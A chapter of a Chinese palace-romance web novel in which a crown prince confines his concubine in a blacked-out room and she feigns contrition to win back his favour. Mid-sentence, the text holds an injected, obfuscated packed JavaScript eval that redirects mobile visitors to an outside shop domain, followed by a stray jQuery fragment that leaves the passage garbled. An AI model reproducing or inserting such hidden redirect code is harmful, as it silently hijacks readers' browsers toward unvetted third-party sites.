胆寒,畏惧……
江雀从他眼里,看到了几乎失去理智的样子,这不对!
江雀用尽了所有力气,死死地抱住他的大腿。
“我错了!殿下。”
“萧时俨!我再也不会了!”
许久的静默之后,萧时俨才收起那一副阴冷模样,他弯下身,轻轻抚着江雀的脑袋,像是在安抚一只受了惊吓的狸奴。
但他的声音仍藏着冷意和威胁。
“乖雀娘,听话点,不要让孤生气了。”
江雀骤然生出一种死里逃生的庆幸感,她连连点头,不敢再叫他知道,心底最深处的心思。
这一次,萧时俨虽然原谅了她,却没打算放过她。
他人一出去,没多久青书就带着宫人过来,将映雪阁主屋的窗户拿黑布和木板封上,只留下一扇门。
江雀瞬间慌乱不已,想要往外跑,又被拦了回来。
青书远远地站着,冷声道:“江良娣,殿下有旨意,您犯了错,要幽静三日,三日之后,须得有悔过之心,才能出门。”
幽静?!
江雀被赶进了屋内,眼睁睁看着木门在面前被锁上,最后一丝光亮消失在眼前。
屋里黑洞洞的,她什么都看不见。
江雀替自己觉得可悲,现在这样,她和一只宠物有什么区别。
她原以为用身体换一夜春宵,可以得到自由,踏入的却是无限的黑暗牢笼,
时间在完全的黑暗中静默流逝,不知白天不知黑夜,直到春喜进来送吃的,门被打开一条缝,江雀蹲在角落里,才抬起头。
春喜看了一圈,才在角落里见到她。
“姑娘,您先吃点东西,别把自己肚子饿坏了。”
江雀眼神一片茫然,没有光亮,她盯着门缝里进来的那束光,觉得有些刺眼。
“春喜……”
她的嗓子也变得沙哑,大半天未进一粒米和水了。
萧时俨倒没想着苛待她,还让人送了吃的来。
春喜蹲下来,瞧着她身上发钗衣衫凌乱,帮忙理了理,就见到了她手腕上的红痕发肿,下巴处也是。
她不禁同情可怜:“姑娘,您要吃点吗?”
江雀眼底的光渐渐回来,她借着春喜的力站了起来,没往外看,径直走到桌边。
“都有什么好吃的?”
自怨自艾没用,经过这一次,江雀知道,她不想做笼中之鸟。
填饱肚子,才有希望。
春喜将吃食一一端了出来,都是江雀爱吃的,还有莲子粥。
“姑娘,您……为何惹恼了殿下?”
她实在不明白,怎的去了一趟皇后宫中,回来二人闹成了这样。
江雀冷笑一声,面目冰冷,却没告诉春喜:“没什么,你明日还来吧?”
春喜连连点头。
“殿下吩咐,要多做些您爱吃的,不曾叫人短了这些。”
江雀心里毫无波澜,总不至于要叫她对萧时俨感恩戴德,谢谢他不饿着自己肚子。
她又追问:“范小姐来过东宫吗?”
岂料这话一出,春喜脸色骤变,她回头望了一眼守在门口的侍卫。
她紧紧揪着江雀的袖口,轻轻摇头。
江雀很快意识到了什么,不由觉得好笑。
她也的确笑了起来,直言道:“他不准你在我面前提起范小姐?”
春喜吓了一跳,好在门外的人没有听见。
“姑娘!”
江雀笑得不行,前仰后合的,眼角都冒了泪花。
萧时俨真是有趣,在一个妾面前,不让人提他未来正妃,他是怕什么?
春喜瞧见她这样,担忧得快要哭了,忙拉着她胳膊:“姑娘,您这是怎么了?”
江雀笑容渐止,抬手抹了眼角泪花,摆摆手:“我没事。”
三天之后。
江雀被放了出来,门窗撤掉了黑布,刺目的暑日照进来,叫人双眼发酸。
饶是这几天一顿不落,她也瘦了一圈。
仿佛是存心让她戒骄戒躁,萧时俨没有出现在映雪阁。
上下宫人背地里都说,江良娣出身微贱,是个没规矩的,进入东宫没几天,便惹恼了皇后娘娘,引得太子殿下厌弃。
那些人胆子大,话都落到了江雀耳中,她不在意,只是回头叫春喜备了一份补汤,她亲自送去了文华殿。
这是江雀第一次踏足此处,殿前便见此处威严,和映雪阁的秀丽完全不同。
她提着漆红食盒,刚要进去,便被青书拦住去路。
“江良娣,殿下正忙。”
江雀真的极其讨厌这一位,和他主人一样让人烦。
“那就进去通传一声,说我来了。”
青书发出一声微不可察的嗤笑声:“殿下在处理政务,不会见任何人的。”
江雀早知这青书瞧不惯自己,没想到会如此怠慢,她好歹顶着个良娣的头衔,连个侍从都能如此轻慢,可见这良娣,也没甚用处。
她冷笑着,往后退了一步。
就在青书以为她要离开时,江雀站定了步子,气沉丹田,拔声一喊:“太子殿下,妾给您送吃的来了,请求见您一面。”
青书惊怒,低声呵斥:“江良娣!莫要……”
殿内传来一道声音,叫青书的话戛然而止。
“雀娘,进来。”
江雀就知道,萧时俨若真要厌弃了她,绝不会任由映雪阁内那么多宫人伺候着她。
她昂首挺胸,从青书面前走过。
推开殿门,萧时俨正在案旁处理折子,一旁侍墨宫人识趣退下。
萧时俨搁下朱笔,往椅靠上微微一仰,目光先在江雀上下打量了番,可见今日过来,她是用了心的。
一袭碧色水浸过般的衣裙,附了脂粉,更显容貌娇艳,最重要的是,那双眸子亮着的不是倔,仍直勾勾地盯着他,似乎满心满眼里,都是自己。
这叫萧时俨内心充盈着一种轻飘飘的情绪。
他嘴角微扬,抬手示意了下,叫江雀走到身边来。
江雀知道这家伙儿心里又美了,她迈步上前,不必他有所动作,自己便主动坐在了他腿上。
食盒被搁置在一旁,她双手搂着萧时俨的脖子。
“殿下不是在忙?”
这娇嫩嫩脆生生的声音,叫萧时俨无比满意。
他像是瞧见一个有趣的,捏捏她的手,又揉揉她的腰。
“再忙,也要劳逸结合,如今雀娘过来,便叫孤心神安宁。”
说着,他又轻啄了下她的唇。
“雀娘今日主动前来,是知错了?”
江雀将脸埋进他的胸膛,怕演戏不够,叫他看出端倪。
“雀娘知错了,往后再也不会想着离开殿下,殿下能宽恕我吗?”
这话叫江雀自己都要吐了,偏要说得情真意切。
而下一瞬,萧时俨就捏过她下巴,迫使她抬起头来。
萧时俨此人看似温润如玉,实则暴戾、善猜忌,那双锐眸扫视着江雀脸上一寸寸,像是要找出什么破绽来。
江雀心里直打鼓,她不想再被关起来了。
暗无天日的时间里,她认认真真想了一番,在这皇城之中,她与太子对抗,着实没有好处,往后之事需徐徐图谋才行。
忽然,萧时俨发出一声轻笑。
江雀眼光闪烁,攀附上他的手臂,如一株菟丝花。
“殿下怀疑我的真心?”
萧时俨自然怀疑,任何人都本性难改,包括这个倔得不行的小姑娘。
但他没戳穿,不想破坏眼下难得的温情。
她如今能一改表面的态度,往后随着时间推移,心里也能歇了那些心思。
萧时俨笑了笑,手指上移,落在她的眼角处,瞧见了一颗藏在眼下的黑痣。
很小的一颗,往常他都没有发现。
“雀娘这么乖,想要什么?孤赏你。”
江雀想出宫去,但知道他不会同意。
她转念,又开口道:“我想与长宁郡主见一见,这东宫之中,我没什么熟悉的人,殿下忙时,我都找不到人说话。”
萧时俨敛着眸,并不乐意她与外人见面,尤其是萧采薇那个表面持重实则性子跳脱的。
可想起上次她与萧采薇见面情形,她倒是挺高兴的。
“准了,明日便叫她来陪你。”
江雀还担心他不会同意呢,得了准许,她立刻在萧时俨颊边亲了一口,喜不自胜。
“谢谢殿下。”
毕竟哄人嘛,就得拿出哄人的手段来。
可这看似真心流露的一亲,叫萧时俨瞳孔内墨色翻涌。
他的手不断收紧江雀的腰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652395|205348||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
肢,迫使她贴近自己,唇也离得很近。
“雀娘既然要谢,不如拿点别的来谢?”
江雀心里又暗骂了几句,经历种种,实在做不到对萧时俨主动。
萧时俨等了片刻,也没了耐心。
大手一挥,桌案上折子、笔墨齐齐落地。
她的腰纤细柔软,任人攀折。
翌日,江雀早早地起了身,吩咐厨房做些消热解暑的甜汤,盼着能见到长宁郡主。
自从她进了一趟文华殿,那些说江良娣失宠的传言,瞬间消失,宫人们也老实许多。
江雀做过丫鬟,都是下人出身,知道这些人没有恶意,也没要追究的意思。
倒是春喜愤愤不平,觉得便宜了他们。
“姑娘,这些人对您不敬,这可不行的。”
江雀坐在池边凉亭中,靠在贵妃榻上,悠闲喝着莲子粥,语气懒散。
“不敬就不敬吧,这也没什么。”
仗着太子的宠爱,换来的敬意,能是什么好东西。
春喜替她着急,却也没办法。
门外有了些动静,江雀眉眼一抬,便瞧见了长宁郡主的身影。
她搁下碗起身。
“走吧,去迎接贵客。”
花厅内,侍女们上了茶,便退了下去。
萧采薇再见江雀,神情复杂,到了口边的话,又觉得需得斟酌。
太子的人突然来晋王府传话,叫晋王妃整宿睡不着觉,又急又怕,来到女儿屋内,仔仔细细叮嘱,定要谨言慎行。
萧采薇倒没那么紧张,太子哥哥又不是外人。
况且,来的人是说,入东宫去见太子新纳的良娣。
她问娘亲:“您知晓那位江良娣是谁吗?”
晋王妃皱着眉:“听闻是殿下从江南带来的,那地方轻浮女子多,更有什么瘦马一说,定是不入流的女子。”
远在豫州的晋王身边,就有两个外地官员进献的美人,来自江南。
可惜离得远,晋王妃教训不得,只能眼睁睁看着王爷身边接二连三的冒出狐媚子。
萧采薇摇摇头,轻声询问:“您可还记得,上次在杏林医馆,为女儿施针开药方的医女?”
在晋王妃不解目光中,她继续道:“太子哥哥身边的江良娣,应是此人。”
原来她以为江雀只是被太子养在别院,竟不知用了什么手段,竟让江雀入了碟册,成为了良娣。
要知晓,良娣的地位仅次于太子妃。
晋王妃惊得合不拢嘴。
说些实话,那医女长什么模样,她都忘了,一个小医女,成了太子的身边人?
要知道太子纳良娣一事,在朝堂上都传开了,有人借势指责太子昏庸,更重要的是,引起了范太傅那边的不满。
晋王妃眼珠子一转,便抓住女儿的手。
“你与那江良娣也算有些交情,明日进东宫,记得多打探消息。”
萧采薇不大情愿,在王妃的强势要求下,只得点了头。
茶香袅袅,香气十足。
江雀见她几番欲言又止,便笑着道:“郡主可是有话要说?”
萧采薇点点头,往旁边一瞧,一抬手,叫了丫鬟云芝也下去。
她提起裙,起身坐在了江雀身边,低声道:“我知你不情愿待在太子哥哥身边,如今你已贵为良娣,往后余生荣华富贵,可有打消你的念头?”
江雀沉默半晌,她知此事与长宁郡主谈不到一起。
天潢贵胄,无法理解小小平民对眼前富贵视而不见。
她点点头:“我既已没了退路,便不作他想,今日邀请郡主前来,是记着您钟爱《西行记》一书,此书下卷已出了吗?我想知道后续如何。”
一提起心爱的话本子,萧采薇便来了兴致。
“早知你想读阅,我就将家里的拿来一本给你便好了。”
江雀轻轻摇头:“不必,殿下不允我读这些。”
萧采薇张了张口,惊愕之言又说不上来。
太子哥哥怎的连这事也要管?
江雀回想到此前在徽州听闻,都说孤舟居士乃是京中富贵人家。
“郡主可知,这作者是何人?”
她想着打听一句,却也没抱希望。
岂料萧采薇脸面一红,低头娇羞:“此人乃是定国公府世子,亦是我的未婚夫。”